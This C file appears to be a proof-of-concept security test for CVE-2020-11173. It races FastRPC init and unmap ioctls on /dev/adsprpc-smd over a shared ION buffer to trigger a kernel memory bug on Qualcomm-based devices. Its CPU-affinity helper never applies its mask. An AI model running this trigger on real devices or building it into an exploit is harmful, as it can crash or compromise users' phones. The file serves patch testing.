1 /*
2 * CVE-2020-11173
3 */
4
5 #define _GNU_SOURCE
6
7 #include <fcntl.h>
8 #include <linux/futex.h>
9 #include <pthread.h>
10 #include <stdlib.h>
11 #include <sys/ioctl.h>
12 #include <sys/syscall.h>
13 #include <unistd.h>
14
15 #include "../includes/common.h"
16 #include "local_poc.h"
17
18 #define ION "/dev/ion"
19 #define DEV "/dev/adsprpc-smd"
20
21 #define SLEEP 0
22 #define ATTACK 1
23 #define CPU_CNT 8
24 #define THREAD_CNT 22
25
26 static int dev_fd;
27 static volatile int run;
28 static volatile int dma_fd;
29 static volatile int online;
30 static volatile int attack;
31
set_affinity(int cpu)32 static int set_affinity(int cpu) {
33 int ret = -1;
34 cpu_set_t mask;
35 CPU_ZERO(&mask);
36 CPU_SET(cpu, &mask);
37 return ret;
38 }
39
wait_threads(int count)40 void wait_threads(int count) {
41 time_t th_timer = start_timer();
42 while (timer_active(th_timer)) {
43 if (online == count)
44 break;
45 usleep(1000);
46 }
47 }
48
ion_alloc(int size)49 static int ion_alloc(int size) {
50 int ion_fd;
51 int ret = -1;
52 struct ion_allocation_data alloc_data;
53
54 ion_fd = open("/dev/ion", O_RDONLY);
55 if (ion_fd < 0) {
56 return ret;
57 }
58
59 alloc_data.len = size;
60 alloc_data.heap_id_mask = ION_HEAP(ION_ADSP_HEAP_ID);
61 alloc_data.flags = ION_FLAG_CP_TOUCH;
62 ret = ioctl(ion_fd, ION_IOC_ALLOC, &alloc_data);
63 if (ret < 0) {
64 close(ion_fd);
65 return ret;
66 }
67 close(ion_fd);
68 return alloc_data.fd;
69 }
70
init_thread(void * data)71 void *init_thread(void *data) {
72 int cpu = (int)(unsigned long)data;
73 struct fastrpc_ioctl_init init = {0};
74
75 init.filefd = dma_fd;
76 init.filelen = getpagesize();
77 init.mem = (void *)0xdeadbeef;
78 init.flags = FASTRPC_INIT_CREATE;
79
80 set_affinity(cpu);
81
82 __sync_fetch_and_add(&online, 1);
83 syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
84 ioctl(dev_fd, FASTRPC_IOCTL_INIT, &init);
85 run = 0;
86 return NULL;
87 }
88
unmap_thread(void * data)89 void *unmap_thread(void *data) {
90 int cpu = (int)(unsigned long)data;
91 struct fastrpc_ioctl_munmap_fd unmap = {0};
92
93 unmap.va = 0;
94 unmap.fd = dma_fd;
95 unmap.len = getpagesize();
96
97 set_affinity(cpu);
98
99 __sync_fetch_and_add(&online, 1);
100 syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
101 while (run) {
102 ioctl(dev_fd, FASTRPC_IOCTL_MUNMAP_FD, &unmap);
103 usleep(500);
104 }
105 return NULL;
106 }
107
trigger(void)108 int trigger(void) {
109 int i;
110 int ret = -1;
111 int th_cnt = 0;
112 int cid = 3;
113
114 pthread_t init_th;
115 pthread_t unmap_th[THREAD_CNT] = {0};
116 struct fastrpc_ioctl_init_attrs init;
117
118 dev_fd = open(DEV, O_RDONLY);
119 if (dev_fd < 0) {
120 return ret;
121 }
122
123 ret = ioctl(dev_fd, FASTRPC_IOCTL_GETINFO, &cid);
124 if (ret < 0) {
125 goto out_dev;
126 }
127
128 init.init.filelen = 1024 * 1024;
129 init.init.memlen = 2 * 1024 * 1024;
130 init.init.flags = 0;
131 ret = ioctl(dev_fd, FASTRPC_IOCTL_INIT_ATTRS, &init);
132 if (ret < 0) {
133 goto out_dev;
134 }
135
136 dma_fd = ion_alloc(getpagesize());
137 if (dma_fd < 0) {
138 ret = -1;
139 goto out_dev;
140 }
141
142 run = 0;
143 attack = SLEEP;
144 online = 0;
145 for (i = 0; i < THREAD_CNT / 2; i++) {
146 ret = pthread_create(unmap_th + i, NULL, unmap_thread,
147 (void *)(unsigned long)(i % CPU_CNT));
148 if (ret < 0) {
149 continue;
150 }
151 th_cnt++;
152 }
153 pthread_create(&init_th, NULL, init_thread, (void *)(unsigned long)0);
154 th_cnt++;
155
156 for (i = THREAD_CNT / 2; i < THREAD_CNT; i++) {
157 ret = pthread_create(unmap_th + i, NULL, unmap_thread,
158 (void *)(unsigned long)(i % CPU_CNT));
159 if (ret < 0) {
160 continue;
161 }
162 th_cnt++;
163 }
164
165 wait_threads(th_cnt);
166 run = 1;
167 attack = ATTACK;
168 syscall(SYS_futex, &attack, FUTEX_WAKE_PRIVATE, INT_MAX, NULL, NULL, 0);
169 pthread_join(init_th, NULL);
170 for (i = 0; i < THREAD_CNT; i++) {
171 if (unmap_th[i] != 0) {
172 pthread_join(unmap_th[i], NULL);
173 }
174 }
175
176 out_dev:
177 close(dev_fd);
178 return ret;
179 }
180
main()181 int main() {
182 int ret = -1;
183 time_t reg_timer = start_timer();
184 while (timer_active(reg_timer)) {
185 ret = trigger();
186 if (ret < 0) {
187 return EXIT_FAILURE;
188 }
189 if (ret) {
190 break;
191 }
192 }
193 return EXIT_SUCCESS;
194 }
195